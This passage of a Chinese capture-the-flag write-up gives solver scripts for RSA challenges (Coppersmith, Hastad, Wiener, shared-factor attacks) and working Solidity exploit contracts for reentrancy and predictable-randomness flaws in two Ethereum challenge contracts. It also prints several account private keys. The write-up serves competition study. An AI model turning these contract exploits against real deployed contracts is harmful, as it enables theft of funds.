prefix = io.recvline().split("=")[1].strip().decode("hex")
io.sendlineafter("skr.encode('hex')=",proof(prefix,hexdig))
io.sendlineafter("[+]teamtoken:",token)
io.recvuntil("[+]Generating challenge 1\n")
n = io.recvline().split("=")[1].strip()
e = io.recvline().split("=")[1].strip()
io.recvline()
c = io.recvline().split("=")[2].strip()
msg = io.recvline().split("=")[1].strip()
'''sage
n = 0x5531aea5ffe86eccf70882f505f4781896f94d18cb35d1baed228ef217f3814145bd7e2d083b43a3b11956a189bd83028d1cea92c707ef2c89470f6976447df21f2125c8ddf79a4e152a616af4b07a3eb8cb4404040e667559979f26ae4b20a70bc8ffbd6524f4e3f565f422a167feebb00f675b76450a2f158f5ef81ce05cd3L
c = 0x1aead4a71c0c3947638876c35442d3eec3da7a8901479a0bfd130b90357e761301ceef8c5f8216ed6ed15926733741e188739458ab8166ead89069df347dd8dc801ce8b528da9d1182721c2a059b0ce9cceacae561fefef2999b39975925cf4ca293f85e959cbe5750e78735f2da3982c886eb62ff69e7440cf57e76e713cb9aL
msg = 0x151886a90ebbbfe79f63fbfb860f991089786e883be96fd85a39f56e6512147680fe4257b814d76bdd7dea62a4c75c41cfb717f150eb38000000000000000000L
e = 3
P.<x> = PolynomialRing(Zmod(n))
f = (msg + x)^e - c
f = f.monic()
m = f.small_roots(epsilon=1/20)
print int(m[0])
1903917370682551034555
msg
m = 1903917370682551034555
msg = 0x151886a90ebbbfe79f63fbfb860f991089786e883be96fd85a39f56e6512147680fe4257b814d76bdd7dea62a4c75c41cfb717f150eb38000000000000000000L
msg =msg|m
print msg
1104876946382386833226428817684728232572927155168858737579230414862059811638800254664053825832738693156293202153064542002981284505817481033381480455987899
'''
m = 1104876946382386833226428817684728232572927155168858737579230414862059811638800254664053825832738693156293202153064542002981284505817481033381480455987899
io.sendlineafter("[-]long_to_bytes(m).encode('hex')=",long_to_bytes(m).encode('hex'))
io.recvuntil("[+]Generating challenge 2\n")
n = io.recvline().split("=")[1].strip()
e = io.recvline().split("=")[1].strip()
io.recvline()
c = io.recvline().split("=")[2].strip()
p = io.recvline().split("=")[1].strip()
'''sage
n = 0x5401d2f0e31048e194f24b88f9fc1b3fe6e0bf64bf83b8c83d5fbe0a42b9f43dedb9dce1ea61e812fbd1ff7364456a9a6f1e08bb51dfc94f97cb4a3f0064f2094d8cb78e30da72beb414ed1517655dde51e954b2b7dfbbba2190b2368915b41fa28972250444b4f79afd3778751e531826bc370aa39749a64f7b4d94e2d76d8dL
pp =0x6bab908c66b6cfd913aa8902a58ece870e259675662eb4b12833419ef5253d713ac76d3e97cbe7602c7f1ff6f1865a4600000000000000000000000000000000L
cipher = 0x1cd46c5a497639fdd69c35caf0fc12f1ccb6181fa76abcbb0a4a3900672d703d6f2637db8c8d7584d48e05cc28dcb3a1799265f0c378880c1ab8d5fc2b37222443d8272b5d7987419daacd9ce871329f7bab0c3938baeb517fc3352ad04eb8b1b82bae803bb8d61caaad28b6d16aff3f64290852e942002a40f4f0c5f0364c80L
e =65537
kbits = 128
PR.<x> = PolynomialRing(Zmod(n))
f = x + pp
roots = f.small_roots(X=2^kbits, beta=0.4)
if roots:
   p = pp+int(roots[0])
   print "p: ", hex(int(p))
   assert n % p == 0
   q = n/int(p)
   print "q: ", hex(int(q))
   phin = (p-1)*(q-1)
   d = inverse_mod(e,phin)
   flag = pow(cipher,d,n)
   print flag
p:  0x6bab908c66b6cfd913aa8902a58ece870e259675662eb4b12833419ef5253d713ac76d3e97cbe7602c7f1ff6f1865a46acf4dbae0f59512201f61593f9f68395L
q:  0xc7bcecc65f7da74d92a08184b639f9af91ffea26c59416134869294ebd24d466eb3f58232d080a4a2b98dc65cf36c2efb0d3e99c6654155bd8e41831ff4d4419L
585468706681329276477449718210237848124414211836568187401926758884114761898943378227026028418158072928115014574268157835435181166614393317861105335193790
'''
m = 585468706681329276477449718210237848124414211836568187401926758884114761898943378227026028418158072928115014574268157835435181166614393317861105335193790
io.sendlineafter("[-]long_to_bytes(m).encode('hex')=",long_to_bytes(m).encode('hex'))
io.recvuntil("[+]Generating challenge 3\n")
n = io.recvline().split("=")[1].strip()
e = io.recvline().split("=")[1].strip()
io.recvline()
c = io.recvline().split("=")[2].strip()
io.recvline()
dd = io.recvline().split("=")[1].strip()
'''
def partial_p(p0, kbits, n):
    PR.<x> = PolynomialRing(Zmod(n))
    nbits = n.nbits()

    f = 2^kbits*x + p0
    f = f.monic()
    roots = f.small_roots(X=2^(nbits//2-kbits), beta=0.3)  # find root < 2^(nbits//2-kbits) with factor >= n^0.3
    if roots:
        x0 = roots[0]
        p = gcd(2^kbits*x0 + p0, n)
        return ZZ(p)

def find_p(d0, kbits, e, n):
    X = var('X')

    for k in xrange(1, e+1):
        results = solve_mod([e*d0*X - k*X*(n-X+1) + k*n == X], 2^kbits)
        for x in results:
            p0 = ZZ(x[0])
            p = partial_p(p0, kbits, n)
            if p:
                return p


if __name__ == '__main__':
    n = 0x359f1a3579b0feb2c8315eabd4f18300d0a436246c514c6f20315b367abdf7fa8bb2a67f463e93ee55e904709b9d8bb41961e05fab0996b021d14a41e95854b0d5fa4cd5b8bd4b5dfc239d457225a82e5193bfa9607c8a10717a33e9e50560d8448eef09f59d3174e4d574ba311cb85c22d8b2ba94bb2aa9459fa7e4556eabf5
    e = 3
    d = 0xf03a5b5181ef301c0e90d9f9f8c89321dc224848e6438132b8bbe2578335c0ce512875d46a93cc2a2afcc64d53604ac12f2b5b9520507919ca651141635cf533
    beta = 0.6
    epsilon = beta^2/7

    nbits = n.nbits()
    print nbits
    kbits = floor(nbits*(beta^2+epsilon))
    print kbits
    d0 = d & (2^kbits-1)
    print "lower %d bits (of %d bits) is given" % (kbits, nbits)

    p = find_p(d0, kbits, e, n)
    print "found p: %d" % p
    q = n//p
    print d
    print inverse_mod(e, (p-1)*(q-1))

1022
420
lower 420 bits (of 1022 bits) is given
found p: 5187906304275017677597329735734220070576352716171110498255822371549949926866441888027248344079507102971677286337805888649512278848643645061940765012795363
12581758953975131139829460552441032035253094155970085390848181339207904871866760521309122068771352966718052558317786123791975955455578013601603365747094835
25102862251104975324783237668753484063940741831599758073664126789860590958797844165485168376592162323554806263577532211244673018130713710718373026663090840738408904930459702120537687392575873439836153561926217351088417309346677995236698734007954784101740717586952475522629013159116921613383958314383683941683
'''
n = 0x359f1a3579b0feb2c8315eabd4f18300d0a436246c514c6f20315b367abdf7fa8bb2a67f463e93ee55e904709b9d8bb41961e05fab0996b021d14a41e95854b0d5fa4cd5b8bd4b5dfc239d457225a82e5193bfa9607c8a10717a33e9e50560d8448eef09f59d3174e4d574ba311cb85c22d8b2ba94bb2aa9459fa7e4556eabf5
c = 0x21638d71294a9351d12ee4fda0f444e5b3f2ed8544b612883c095979da66c367323c3eae7d54040fb88aa590eefa62a3ea23bf6272eab4e6c5edbb7f4573d990c430e550afe3a4c3030c39e413986d284acfc3a2e3ab75778b2e067d85a89eab8182313073392997dee7cdab5ee4301f6e9721838406bddc88f3a1ae18ae57ba
d = 25102862251104975324783237668753484063940741831599758073664126789860590958797844165485168376592162323554806263577532211244673018130713710718373026663090840738408904930459702120537687392575873439836153561926217351088417309346677995236698734007954784101740717586952475522629013159116921613383958314383683941683
m = pow(c,d,n)
io.sendlineafter("[-]long_to_bytes(m).encode('hex')=",long_to_bytes(m).encode('hex'))
io.recvuntil("[+]Generating challenge 4\n")
e = int(io.recvline().split("=")[1].strip())
io.recvline()
n1 = int(io.recvline().split("=")[1].strip()[2:-1],16)
c1 = int(io.recvline().split("=")[2].strip()[2:-1],16)
n2 = int(io.recvline().split("=")[1].strip()[2:-1],16)
c2 = int(io.recvline().split("=")[2].strip()[2:-1],16)
n3 = int(io.recvline().split("=")[1].strip()[2:-1],16)
c3 = int(io.recvline().split("=")[2].strip()[2:-1],16)
N = n1*n2*n3
N1 = N/n1
N2 = N/n2
N3 = N/n3
u1 = gmpy2.invert(N1, n1)
u2 = gmpy2.invert(N2, n2)
u3 = gmpy2.invert(N3, n3)
M = (c1*u1*N1 + c2*u2*N2 + c3*u3*N3) % N
m = int(gmpy2.iroot(M,e)[0])
io.sendlineafter("[-]long_to_bytes(m).encode('hex')=",long_to_bytes(m).encode('hex'))
io.recvuntil("[+]Generating challenge 5\n")
n = io.recvline().split("=")[1].strip()
e = io.recvline().split("=")[1].strip()
io.recvline()
c = io.recvline().split("=")[2].strip()
x = io.recvline().split("=")[1].strip()
'''
from sage.all import *

n1 =0x239e010007b64ae57fc6ed550065d6b0ff7bd24e74f8431528196a69ea29ccefa977d21bfbfaea80cf313e30b604465fda3d356ab8be8a998fd3687a6e3edd440691231850c97c423afc9ad77edbb0413772dfb855df2cd308906991230c620a08c6438f43c666cdf7856fd191cdab51d1082f92081fa79547775f0f5b8f0ec9
e = 3
C1 = 0xb67bf318324d9a0c0ea476e53f672e82f3e2107230ba71ff780c23f059d4dcf4fb2747d03d56494a8afe35a818acc5c05e1653bccde88f4636d953d1cf37f4f324124b026ecf2bed5fa5da93746fcff99f6fbc6d960a55f8ed8224bbd0f44e39294260e4d9266df21e93bf70ebf4b69ca20fe5fb9f031a444b72bb163c9a09cL
C2 = 0x1803d75614802a7813d70169cef2a000ea55e3ea34863d4f684394e944c12cd1b70a8f46efe22ed5a11ac3799999417907eb4ed1f6f77fe84e081506218f1ffc31608c314f738656aa001a753d4d513bdb932e055a5300cccbc90c5a98d442deb2db7ca6b64423492e204c9a09fd2cc2a9710d09bb3c800eb252a17c34b41c00L

PRxy.<x,y> = PolynomialRing(Zmod(n1))
PRx.<xn> = PolynomialRing(Zmod(n1))
PRZZ.<xz,yz> = PolynomialRing(Zmod(n1))

g1 = x**e - C1
g2 = (x + y)**e - C2

q1 = g1.change_ring(PRZZ)
q2 = g2.change_ring(PRZZ)

h = q2.resultant(q1)
# need to switch to univariate polynomial ring
# because .small_roots is implemented only for univariate
h = h.univariate_polynomial() # x is hopefully eliminated
h = h.change_ring(PRx).subs(y=xn)
h = h.monic()

roots = h.small_roots(X=2**40, beta=0.3)
assert roots, "Failed1"

diff = roots[0]
if diff > 2**32:
    diff = -diff
    C1, C2 = C2, C1
print "Difference:", diff
x = PRx.gen() # otherwise write xn
g1 = x**e - C1
g2 = (x + 1)**e - C2

# gcd
while g2:
    g1, g2 = g2, g1 % g2

g = g1.monic()
assert g.degree() == 1, "Failed 2"

# g = xn - msg
msg = -g[0]
# convert to str
print msg
print pow(msg,3,n1)==C1
Difference: 1
3359866727795952574047570400129983625808766359347672927740163405945044601265065800687792901768426453783209977783706554638017355219744329839231253397496875
True
'''
m = 3359866727795952574047570400129983625808766359347672927740163405945044601265065800687792901768426453783209977783706554638017355219744329839231253397496875
io.sendlineafter("[-]long_to_bytes(m).encode('hex')=",long_to_bytes(m).encode('hex'))
io.recvuntil("[+]Generating challenge 6\n")
n = io.recvline().split("=")[1].strip()
io.recvline()
io.recvline()
e = io.recvline().split("=")[1].strip()
io.recvline()
c = io.recvline().split("=")[2].strip()
'''
def wiener(e, n):
    m = 12345
    c = pow(m, e, n)
    q0 = 1

    list1 = continued_fraction(Integer(e)/Integer(n))
    conv = list1.convergents()
    for i in conv:
        k = i.numerator()
        q1 = i.denominator()

        for r in range(20):
            for s in range(20):
                d = r*q1 + s*q0
                m1 = pow(c, d, n)
                if m1 == m:
                    return d
        q0 = q1



d = wiener(0x11722b54dd6f3ad9ce81da6f6ecb0acaf2cbc3885841d08b32abc0672d1a7293f9856db8f9407dc05f6f373a2d9246752a7cc7b1b6923f1827adfaeefc811e6e5989cce9f00897cfc1fc57987cce4862b5343bc8e91ddf2bd9e23aea9316a69f28f407cfe324d546a7dde13eb0bd052f694aefe8ec0f5298800277dbab4a33bbL, 0xbadd260d14ea665b62e7d2e634f20a6382ac369cd44017305b69cf3a2694667ee651acded7085e0757d169b090f29f3f86fec255746674ffa8a6a3e1c9e1861003eb39f82cf74d84cc18e345f60865f998b33fc182a1a4ffa71f5ae48a1b5cb4c5f154b0997dc9b001e441815ce59c6c825f064fdca678858758dc2cebbc4d27L)
print d
d = 776765455081795377117377680209510234887230129318575063382634593357724998207571
'''
d = 776765455081795377117377680209510234887230129318575063382634593357724998207571
c = 0xe3505f41ec936cf6bd8ae344bfec85746dc7d87a5943b3a7136482dd7b980f68f52c887585d1c7ca099310c4da2f70d4d5345d3641428797030177da6cc0d41e7b28d0abce694157c611697df8d0add3d900c00f778ac3428f341f47ecc4d868c6c5de0724b0c3403296d84f26736aa66f7905d498fa1862ca59e97f8f866c
n = 0xbadd260d14ea665b62e7d2e634f20a6382ac369cd44017305b69cf3a2694667ee651acded7085e0757d169b090f29f3f86fec255746674ffa8a6a3e1c9e1861003eb39f82cf74d84cc18e345f60865f998b33fc182a1a4ffa71f5ae48a1b5cb4c5f154b0997dc9b001e441815ce59c6c825f064fdca678858758dc2cebbc4d27
m = pow(c,d,n)
io.sendlineafter("[-]long_to_bytes(m).encode('hex')=",long_to_bytes(m).encode('hex'))
io.recvuntil("[+]Generating challenge 7\n")
n = io.recvline().split("=")[1].strip()
io.recvline()
io.recvline()
e = io.recvline().split("=")[1].strip()
io.recvline()
c = io.recvline().split("=")[2].strip()
'''
    '[++++++++++++++++]all clear[++++++++++++++++]\n'
    'flag{17181389f36ebe098c4cebd3abe1096cdf7dd78f3db139e4958a7578f6fe6f44}\n'

强网先锋-辅助

In [1]: from Crypto.Util.number import  inverse

In [2]: c1,e,n1 = 2482083893746618248544426737023750400124543452082436334398504986023501710639402060949
   ...: 10669327946289696883902971209933623597622157156464290024082777471919953312405395315791985083821
   ...: 40219349074806334415773162638530112325183929049830280521558621542644011081249684040988239466918
   ...: 11798952747194237290581323868666637357604693015079007555594974245559555518819140844020498487432
   ...: 68494692274123205324989457541779606709065512270230613484822025794329764546147748808680485601832
   ...: 39867969991033855655404965344224063903559879768154507445359497850730090430071594969291871843385
   ...: 92859040917546122343981520508220332785862546608841127597, 65537, 149670300599751149502953998741
   ...: 85047053736587880127990542035765201425779342430662517765063258784685868107066789475747180244711
   ...: 35264646977673293854464158384231379187298635750446218492407522743349863142328918798835147566678
   ...: 51908542103895875949754560649846119904611266843010862415329152673116751641902134742453110196236
   ...: 54865937851653532870965423474555348239858021551589650169602439423841160698793338115204238140085
   ...: 73868088331343357406024360002850060082462435847340305959759389141217939916581362251290126338029
   ...: 95610196247414887793670193897757865472920653528850072242395817769758923853644464461856429391372
   ...: 87519945974807727

In [3]: c2,e,n2 = 3829060039572042737496679186881067950328956133163629908872348108160129550437697677150
   ...: 59948392392579822432817559448321793883352022008723030347013852597046891551111132039618548256478
   ...: 39754353463544400357769097811584076360449864038198406483796096300393488954150457232088436311912
   ...: 52142600667607807479954194447237061080618370787672720344741413537975922184859333432197766580150
   ...: 53445700119676562167865995210801059627324423081232718278632976084403714971958726963213359514929
   ...: 40674909556448934027087202841797150021492240689288286565153264468817912286380085728893315119450
   ...: 42911372915003805505412099102954073299010951896955362470, 65537, 146246626287258206186223708039
   ...: 48630854094687814338334827462870357582795291844925274690253604919535785934208081825425541536057
   ...: 55022704839983724339249076216773308303036822124076469369432115010430604412593420169943014697046
   ...: 66574109992616308259311787318572675997503249186107900989525201135931302450105309613505927352394
   ...: 54337631927669542026935873535964487595433984902529960726655481696404006628917922241666148082741
   ...: 87403375697072435747053958984854870457309163391786938723932444773058754547256456149672488279949
   ...: 51867688583244908381691230770518903323136712203858304443315786743380140809596532018024765162374
   ...: 64651809255679979

In [4]: from Crypto.Util.number import  inverse,GCD

In [5]: GCD(n1,n2)
Out[5]: 161993393900030566867150602363721535479433489542726899362944130872107225598993516228193877689420023695231584876954537089973673478074348422697619820309397363583748523503035462772765277978491082324620122838540365168604124924805412323471486221429513024367107238770298040268787441768635257727315317704741778501737L

In [6]: p = GCD(n1,n2)

In [7]: q = n1/p

In [8]: d = inverse(e,(p-1)*(q-1))

In [9]: m = pow(c1,d,n1)

In [10]: m
Out[10]: 46327402297756142163414444763385873143473454642530335007005275780577416655741L

In [11]: from Crypto.Util.number import long_to_bytes

In [12]: long_to_bytes(m)
Out[12]: 'flag{i_am_very_sad_233333333333}'

babybank

原合约分析

https://ethervm.io/decompile/ropsten/0xD630cb8c3bbfd38d1880b8256eE06d168EE3859c
合约字节码->伪代码

合约成员 成员说明
0x00 balance map(address -> uint)
0x01 level map(address -> uint)
0x02 合约创建者的地址 0x409dd71C0E5500dA1e0489d4885411b1Da52d4c2
0x03 初始化为3fde42988fa35
合约函数 参数 说明
withdraw uint256 如果sender的balance大于参数,就向sender发送一个value为参数乘0x5af3107a4000的交易,从sender的balance中扣除参数
profit 如果sender的address最后四位为b1b1,且sender的level为0,sender的balance和level都加1
0x8c0320de string,string 进入要求balance大于0x02540be400,第一个参数是战队token的MD5 第二个参数是base64编码的邮箱
0x8e2a219e uint256 如果sender是2号的值,将3号修改为传进来的值
guess uint256 如果传进来的值是3号的值,且sender的level为1,sender的balance和level都加1
transfer address,uint256 向address转移一定量的balance,只能转移0x02
0xd41b6db6 address 返回sender的level
balance address 返回sender的balance

合约创建者调用了0x8e2a219e 参数值为3fde42988fa35

原理

withdraw函数会给调用者发送以太坊,如果调用者是合约,就会调用合约的function() payable。
如果合约中function() payable调用了withdraw,这时最外层的withdraw尚未减少balance,所以第二次调用的withdraw会将balance减少到0,回到最外层的withdraw,就会将balance溢出。
但是要想发送以太坊就得让账户上有以太坊,而直接把以太坊发送给原合约是不行的,可以通过创建临时合约,在将以太坊转移到临时合约,最后通过selfdestruct(address)将临时合约上的以太坊强制转移到address上。

步骤

  1. 先创建一个地址最后四位为b1b1的账号

    import binascii
    import sha3
    from ecdsa import SigningKey, SECP256k1
    while 1:
     priv = SigningKey.generate(curve=SECP256k1) #生成私钥
     pub = priv.get_verifying_key() #生成公钥
    
     keccak = sha3.keccak_256()
     keccak.update( pub.to_string()) #keccak_256哈希运算
     address = "0x" + keccak.hexdigest()[24:]
    
     priv_key = binascii.hexlify( priv.to_string())
     pub_key = binascii.hexlify( pub.to_string())
    
     print("Private key: " + priv_key.decode() )
     print("Public key:  " + pub_key.decode() )
     print("Address:     " + address)
     print address[-4:]
     if "b1b1" == address[-4:]:
         break
    

    generate online:https://vanity-eth.tk/

    Address: 0xb1D0cA3f763cFAAa494aF658f7B502D16eD1b1b1
    Private key: 0d7438e0cafa6df372600aef059cf2621938f34ae9d1fd4683cea7ec96668639
    Address: 0x1b6FA3DfcD943f5c513815af92355bF893b7b1b1
    Private key: 6b8cd7688f612415d639ccffc179e8e31e0ab3b3fe57dc39c9eb0fbd9d4a6449
    Address: 0xE9046061fc2eDaAd9910181396B212161067b1B1
    Private key: 660fe55dc06323ed5a43cf6c5ebb4fbfe22f9a28f1788d4cb840ea102e8cd337
    Address: 0xC7A403Fe97525d01E368D4f7f1920F4fe0BfB1B1
    Private key: 95923502fff00e0393368e750535f500b5ee6db938d89d0ecd9d62c8b609ae9c
  2. 创建合约A

    pragma solidity ^0.4.18;
    contract ctf {
     address callee = 0xD630cb8c3bbfd38d1880b8256eE06d168EE3859c;
     bytes4 f1 = 0x2e1a7d4d;
     bytes4 f2 = 0x8c0320de;
     bool count = false;
     function() payable public 
     {
         if (!count)
         {
             callee.call(f1,2);
             count = true;
         }    
     }
    
     function hello() public returns (bool)
     {
    
         if(callee.call(f1,2))
             return callee.call(f2,"2d5088d4cac1e7d5f935659807a44db8","bHRzbWFrZXJAbGl2ZS5jbg==");
     }
    }
  3. 创建临时合约B
    pragma solidity ^0.4.18;
    contract ctf2 {
     function() payable public 
     {
     }
     function awsl(address to) public
     {
         selfdestruct(to);
     }
    }
  4. profit()
  5. guess(3fde42988fa35)
  6. transfer(合约A地址,2)
  7. 转移以太坊到临时合约
  8. 毁灭临时合约
  9. 调用合约A上的函数

babybet

原理

bet里面生成的随机数可被控制。
一个address最多获取1000点balance,而payforflag需要1000000点,生成1000个账号获取balance,最后转移到一个账号上。

步骤

pragma solidity ^0.4.18;
contract awsl {
    address caller = 0xC7A403Fe97525d01E368D4f7f1920F4fe0BfB1B1;
    address sender = 0x5d1beefd4de611caff204e1a318039324575599a;
    bytes4 profit_addr = 0x66d16cc3;
    bytes4 bet_addr = 0x7365870b;
    bytes4 transfer_addr = 0xf0d25268;

    function awsl() payable public
    {
        //caller = msg.sender;
    }

    function attack() payable public
    {
        sender.call(profit_addr);
        bytes32 entropy = block.blockhash(block.number-1);
        uint num = uint(entropy) % 0x03;
        sender.call(bet_addr,num);
        sender.call(transfer_addr,caller,1000);
        selfdestruct(caller);
    }
}
contract bitit {
    address sender = 0x5d1beefd4de611caff204e1a318039324575599a;
    bytes4 profit_addr = 0x66d16cc3;
    bytes4 bet_addr = 0x7365870b;
    bytes4 getflag_addr = 0x8c0320de;

    function() payable public 
    {
    }
    function aaaaaaaaa() payable public
    {
        for (int i=0;i<19;i++)
        {
            awsl temp = new awsl();
            temp.attack();
        }
    }
}
for (var i = 4;i<=50;i++){
    var message ={to:"0x68Fb426E47dbaF6473f35b063CaF1BB4882C44Aa", data:"0x347b3755"};
    web3.eth.sendTransaction(message, (err, res) => {
        var output = "";
        if (!err) {
            output += res;
        } else {
            output = "Error";
        }
        console.log(output);
    })
}
  1. 部署合约
  2. aaaaaaaaa() 53次
    (aaaaaaaaa中最多只能进行19次操作,不然就out of gas了)
  3. getflag

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖